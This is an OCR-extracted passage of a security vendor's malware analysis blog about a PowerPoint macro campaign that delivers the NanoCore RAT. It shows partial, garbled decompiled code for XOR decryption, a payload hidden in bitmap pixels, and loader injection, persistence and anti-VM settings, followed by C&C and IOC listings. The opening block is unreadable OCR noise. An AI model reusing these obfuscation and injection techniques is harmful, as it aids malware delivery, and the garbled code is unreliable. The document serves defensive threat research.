HBLR 73R VDA Ses 6oy TR T 60y 743755623 513 7dy T4 615255 343 21520423275 7642152 65204205204 7632552042032 13204 6d32 13233 2d3 2353223 7e52 V4273232 14235 6d3 2 T4 2152 14293 65 ToaTe3 755 3d4 695 65%
T156A¥TEX VL 6369363 TEY I 665 T0Y TSR 653 TIF 63 Ta¥ 673 7d¥ 60 63425 IDIALRTTH 423235205 2e301%235215 543903405 6535655032253 14503 195023403 713 63 623 Tc3 625523 65563 603 625 T7052d3215 5045
54603725605 755 Th33 655235 695613 7157742 15215355 525 665 6% 555723 654 7ds 6152552 13 9bs 45 405 5% 665 565 70% 62575 Ted 6d5 774 623 675534 6a3 635 T05 725 T45 775 605 Td% 655 5a% 6a3 755 623 T8 T3 715615 44
575 TISTINE15 T35 TES 55 G 715735605 723715645 535705 Tas 615415425455 405 TAs 725375255 3452152352032 75 7052142 65205205 205 7642532052052 1525 605215235 203235225 Te32 752 T42b52 15235605273
21%21%2495 605 TosTe¥ 755305 645 655715 63 T4 7L% 6% 64% 683765345 665705755 655735 605725 674 605705 683725414745 7a5 5152352052053 1523%215 545 425405 655 565 545225145005 195063 505 625 Ta523%4b3 6
b3 652754552 1542574 655 625 714 605 54% 625 605 604645 TCY 2095235 5332742 3520%26%21553520%25520% 205235625252 55209235245 T152252242e%27422560523420%2e523%215T0521520529%25525570%23321
5275255215355 2452352052252 755452252 152a%2032 750032 1326526520%520560525520%2a52152e3 715215235205 235225 765275205 1550b% 4a% 655364355 515 Th3 755265203 555255205 2a52 132237252 15235 2d%
23%22% 7052752 T4EDY2 1325356152 7523%2052 05215 725205255 205203235 7252832 5%20923%2456h3 2252252032 75224605235 205205205215 T252 152052952552 55 7452352152 7525421535%24% 2352052252 756832
2%2132a%20% 275 Th%2 152652085205 205685275355 773 165615 T3 6a% 7132 64555425 Ths 79% 623 5b% 64% 645205764605 3d%3a% 463205 6h% 665 715264 655 603 T4%2d5 204 2b3 2852 15205295 25925520545 425 59525529
450¥33559%2a52b%2as 205 20%2e3 575615 795355205 2052152052952 54255214 503 60Y 6es 403205 105205 774225225 203274225 605605 Ta3 794 a3 203 2ds 20336543 725255203 2a% 2 15203 7as Zos 205295 755745 75%
645 6hs 2 1% 2as et ST 7O T1520s2ds 20y 695 T%6as 215 2T 2es 005 705 795215255 205235225725 7643053 74365235 20525234215 765625 735205255205 205235 T 613275 23528%26%2156256D3 735515635765 7433
DTTE62521526%28%20%20%7a% 305225215 2a%20% 2 745D 6153bs3ds 31608 T35 35215 2es 204 3as TI%0es 733 725215205295 253 255615625 60245 2a%20v 205615295225 2dv3 15205215 675203 20%2a% 204 2a%30571
4 ZEREYEENE TR 260N I E0YEes 2 NE1s 1652 1520520255255 1A% a5 2152 % 255215 625245255 2NN 2E%2 TV 6452252 1525204275605 213265 26%20%205 203285214 6T320v2052a%20%3 73205204305 TavZas2Bv29%
2e% 26425530 SEE AT 2 5% 205465 205255 20% 205255 405 o 2 TH % E0Y 2652 15 T0S 4R TAF T2 615665 T 75405265205 454635305 3a% 4652 65245465 295252452 742552852652 15205205 455245203 205672252 T%2DY T
e??lBT:l%6&2‘1“1%19%25%20%23’12LiZe%‘lQ"T'}%TE%67i69%?6%2&%3}%?5%6@%71%23iZc%Ze%ZSiZL%?Z%GZ%Es%61?2a¥2&%282Zt%zd%QCRZB%ZI%ZeiED%ZG?ZG’&E%Z&?33%3!%12%22%25226%"?%20225%45%36236%26
EZAF 465205 2era 152 TE 2352052652 152a% 20y B3R A 2eN B TR ZbA 2% 635 20%2dr 605 20% 2 ToXAAv BhsZrs 3 T4 T35 Zes 2552052352456 T05 765 645 6A5 60 295 2052 152 T4 2352652652 15 2a%2Cv 635 2% 2ev67%2D%22%
B2 L% 23%2dr 235225 20% 2D 61k 2a% 2% 2 3% 20k 2es 235215205 37520564 2akZes20vE0% 235202t 23valvZar T0RE3%30%30v2e36% 2040k Tar7o% 716 7ar56% 215205295 255255 77568 TT5 T052a%47520%25545%3
BEABE 2Bk 463205 et A5 T3k 0s 20%60% 205225225 2e%2 T 2252 v 6T 265 2DN 65N 2A 2ok 655 2ar 2ok B3 T0N22N2152a%20k 2T 60%2AY2I%206 2042052204285 2hh2D% 245 2hs 2D 29520520 I6FTOR2THETHEDA21
IR BlRE TR IR a0R 26 2 1R T0R 20 2SRk Z0N 23R T ok 2o N SR ZBR 23N E k62N 22NN 2N THERA2REINECk2eN N2 1k EhRE1EZ0N29%25E25720% 2ot 28F25 2T 2DMEA2CHIARZBE2ZBNELLZISR20EAkZ1kZekEdkade2bE
2ok Edv 2Lk Ak ERs LR 203 e 7ok TR 3R 20% 262 1h a0 20 2552020823 TLA 2o a o 2B at T TR 2022 2ek 2 TH22% A0 23520k 202352 15655215205 29% 255255 6k 23R 215274255215 2D4 29529520k 6452 TH2
THZhE21%2I2642DY 65 20%20% 654 2ev20h 63 k2dhZek6Th2er 30N Zak TAR2Ch 2 LR 2AkZBE 2ot 7R AR TAR TSR IS 208 T 7o 7T 724208224 2b%3 14374 155 0bY T2 618 714 6k IS E5E T TR 774 714 68% 1240k 1450b%k 48332
%70 60%74%6ar 704 Tet 432054908044 33% 345 35%35%384%31%37' + uneacape('¥27%25%29%3h') )

Ao

</scripes|

Figure 17: The JavaScript code using a new encoding method for multiple stages.

This method calls eval() two times. The first eval() call corresponds to the JavaScript function, which is
responsible for XOR decryption. The second eval() call corresponds to executing the script decrypted by the first

eval() call.

The XOR decryption stub is as shown in Figure 18.

function j4091617deis) |
B e A
wvar tmp = s.split("2Z0540554")
2 = unescape (twp[0]);
k = unescape(tmp[1l] + "727461");
fnqt var 1 = 0; 1 < s.length; i++) {
r += String.fromCharCode| (parselnt (k.charlt (i%k.length))*s.charCodeldt (1)) +-4):
H
return r |

Figure 18: The XOR decryption script.

Changes in the final payload

The final payload downloaded in the newer variants is a NanoCore RAT unlike AZORult or Revenge RAT
observed in previous instances of the campaign. In this specific example, the MD5 hash of the NanoCore payload
is: 35de5¢352023db9d406a835ef7f318e5.
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‘We mention briefly how the NanoCore RAT is encrypted here.

The .NET assembly contains a bitmap image in the resource section as shown in Figure 19.

[+ =dl References
= |7 Resources
{4 WinForms,Library, Controls Builder TextBox resources
& 5 Library, Propertiss, Resourc 5 Bitmap resource containing encrypted .NET
[ (3 WinForms.SampleApp.Forml.resources assembly
w {} -
= {} WinForms.Library
# “i ControlBinder <TDocument >
# 4 DocumentloadHandler<TDocument >
# =7 EnumFileResult
=) "73 Expression<T:>
F 4% FileSystem -

A

Figure 19: The bitmap resource inside the .NET binary.

The bitmap image is accessed from the resource with the name “WinForms.Library.Properties.Resources”. The
encrypted .NET assembly is extracted from the pixels of the bitmap image. This encrypted assembly is decrypted
using an XOR decryption routine and finally loaded using the Assembly.Load() method.

The relevant code sections are shown in Figure 20.

byte[] rawAssembly = Class2.gzrd(Class2.Zwrfe(Class2.bzsadadaxr(Class1.SFIFSISFF)));

Assembly assembly = Assembly.load(rawAssembly); <= Loads the Decrypted .NET Assembly
MethodInfo entryPoint = assembly.EntryPoint;

this.sdasad(entryPoint);

ProjectData.EndApp();

return “ac®;

private void sdasad(MethodInfo x)

x.Invoke(null, null); Encrypted bitmap image
|}Juh1ic static Bitmap bzsadadaxr(string x2131) l
. ResourceManager resourceManager = new ResourceManager(“WinForms.Library.Properties.Resources”, Assembly.GetCallingAssembly());

return (Bitmap)resourceManager.GetObject(x2131);

private static byte[] gzrd(byte[] data)

{
checked
t
byte[] array = new byte[data.Length - 16 - 1 + 1];
Array.Copy(data, 16, array, @, array.lLength);
int num = array.Length - 1;
1{‘“ (int i = @; i <= num; i++) XOR Decryption routine
byte[] expr_2E cp @ = array;
int expr_2E_cp_ 1 = i;
expr_2E_cp_@&[expr_2E_cp_1] ~= data[i % 16];
return array;
}
¥
private static byte[] Zwrfe(Bitmap data)
{

ArraylList arraylist = new ArrayList();
int num = data.Width - 1;
for (int i = @; i <= num; i++)

{ Extracts th ted load fi Biti
RO T e xtracts the encrypted payload from Bitmap

for (int j = @; j <= num2; j++)

{
Color pixel = data.GetPixel(i, j);
Color right = Coler.FromArgb(e, o, @, @);
if (pixel != right)

{
arrayList.AddRange(new byte[]
{

pixel.R, I
pixel.G,

pixel.B
s

Figure 20: Extracting, decrypting and loading the .NET assembly.
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The next stage .NET assembly is a loader that is used to decrypt the final .NET assembly, which is injected into
another process and executed.

Figure 21 shows the configuration of the next stage .NET assembly.

private struct Structf...

[StructLayout(LayoutKind.Sequential, Pack = 1)]

private struct Struct?...|

private static string dpass = "NcWRhAJyrzSewT";

private static byte[] Payload = Extra.Unscramble(Extra.XOR_DEC(Extra.loadresource("OSkRTM8"), X.dpass));

private static string k = “e||e||el|elle||[||le[le|lellelI[IIIII1I1]]le]lle|lelle]le]le|le||e||v2||e||sess||e||el||]]|elle] e]|l]]"s
private static string[] aa = Strings.Split(X.k, "||", -1, CompareMethod.Binary);

private static int InjectValue = Conversions.ToInteger(X.aa[@8]);

private static int isStartup = Conversions.TolInteger(X.aa[1]);

private static string StartupName = “vYpntlllYzVR";

private static string MtxName = "CilhTy";
private static int UAC = Conversions.Tolnteger(X.aa[2]); This string contain the boolean flags
private static int Downloader = Conversions.ToInteger(X.aa[4]); which decide the operation performed

private static string DownloaderFileName = X.aa[6];

private static string DownloaderLink = X.aa[5]:

private static int AntiVm = Conversions.ToInteger(X.aa[7]);

private static int AntiSB = Conversions.ToInteger(X.aa[8]);

private static int AntiEm = Conversions.TolInteger(X.aa[2]);

private static int InjPersistence = Conversions.ToInteger(X.aa[28]):
private static int MSG = Conversions.Tolnteger(X.aa[29]);

private static string MSGTitle = X.aa[30];

private static string MSGBody = X.aa[31];

private static int MSGButton = Conversions.ToInteger(X.aa[32]);
private static int MSGIcon = Conversions.ToInteger(X.aa[33]);
private static int isDelay = Conversions.Tolnteger(X.aa[34]);
private static Mutex check;

private static int ppid; S

private static void ShowMSG()|. ..

public static void checkifopen(string mute)...|

private static void ProcessPersistence()...

private static void ProcessPersistenceWatcher()... I
public static void AllowAccess(string location)...|

public static void ProtectTheFile(string location)...| e
private static void Startup(string startupname, string filepath)...
public static void Sdownload(string Durl, string filerun)...

Figure 21: The main configuration of the .NET loader.

The final payload is encrypted and stored inside a resource with the name “OSkRTMS8”. This payload is decrypted

as shown in Figure 22.

// ReZer®.X
private static byte[] PaylLoad = Extra.Unscramble(Extra.XOR_DEC(Extra.loadresource("0SkRTM8"), X.dpass));

Figure 22: Payload decryption.

This decrypted payload is injected as shown in Figure 23.

// ReZer®.X
private static void StartInject(int injvalue)

X.Run(X.GetInjectionPath(injvalue), X.PayLoad, true) ;|
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Figure 23: The code injection invocation.

The MD?5 hash of the injected payload is: 7679fec5f6bf7206635b96efa52d1d07.
Below are relevant strings from the binary which indicate it is NanoCore.
00000000FEF5 000000411CF5 0 NanoCore Client

00000000FF05 000000411D05 0 NanoCore Client.exe

And the configuration used by this instance of the NanoCore RAT is shown in Figure 24.

Figure 24: The NanoCore RAT configuration file.

The C&C server is listening on port 54932 at the IP address 216.170.114.4.

Cloud Sandbox detection

Figure 25 shows the Zscaler Cloud Sandbox successfully detecting this PowerPoint-based threat.

@>zscaler Cloud Sandbox =
SANDBOX DETAIL REPORT ® HighRisk  * Moderate Risk * Law Rick a8
Report ID (MD5): 0B0B570451B699D96CT0EBF400628CAA Analysis Performed: 07/04/2020 13:16:16 File Type: ppt

CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS

Class Type Threat Score Checks For Kemeal Debuggers

Malicious Found A High Number Of Window / User Specific System

94 Calls
Category

Makware & Botnet i i Ko lmcwn Matunrs found Exscutes Massive Amount Of Sleeps In A Loop
alware & Botne

NETWORKING i STEALTH b SPREADING
= Snort IDS Alert For Natwork Traffic (H) Very Long Cmadline Option Found Craates COM Task Schedule Object
= Snort IDS Alert For Network Traffic (M) Obfuscated Command Line Found

Document: Performs DNS Queries Suspicious Powearshell Command Line Found

Connects To A Pastebin Service Disables Application Error Messages

Document: Generate TGP Traffic Document Contains Embedded VBA Macros

Downloads Files From Web Servers Via HTTP
Found Strings Which Match To Known Social Media URLs

Figure 25: Zscaler Cloud Sandbox detection.
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In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at

various levels.

o Win32.PWS.Azorult
e Win32.Backdoor.Nanocore
e Win32.Backdoor.RevengeRAT

Conclusion

This threat actor combines multiple stages in the infection chain to make detection difficult over the network. The

tactics, techniques and procedures (TTPs) used by this threat actor are also evolving with time.

As an extra precaution, users should not enable macros for Microsoft Office files that are received from untrusted

sources since these macros have the capability to run malicious code on your machine.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our

customers safe.

Indicators of compromise

PowerPoint files, old variant
f934dc6b441789365d5aa641bbf8ef3f
0b0b570451b699d96¢70ebf400628caa
b825645e1132¢77550d14503974c9ea?
89e3d26cdc862e47d6c7d665135e28d6
dc01e01fea24cf2f2a208d62e219889b
16ac16400e2f1f125664b62c16be9c88
4cfea775333d107ec43d621aa4c9968b
4d299bee18901eb48929f3b493f65699

cd425ac433c6fa5b79eecbdd385740ab
PowerPoint files, new variant
bbe077e2cd3c321427a16557d26a3438
cc53f0ala256678ba7d79aa475128d9c
7db36d502e4a1d35873c8a0c51bafbbf

13ae5088ae7e5ac1335a573d52befabc
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7083ee8cabbf500a3b286b80278f9fe
2d3b0a3369e7a33b5c3e3115d7fa5a58
9f8db1103850e43681ea79cec06e13c7
56b4f3bc5b500d4120b55ff3dcaflcc9
5d926bae6c76e8b86192c205¢49¢d195
£35b21cf37fbdae346858b490a0f230a
Network I0Cs
23.247.102[.]10/manabotnet/index.php
23.81.246[.]150/manabotnet-stryka/index.php
won2020.duckdns[.]Jorg:3090
216.170.114[.]4: 54392

Pastebin users
https://pastebin[.]Jcom/u/lunlayloo
https://pastebin[.]Jcom/u/redcobalt

https://pastebin[.]Jcom/u/gogga?7

Explore more Zscaler blogs
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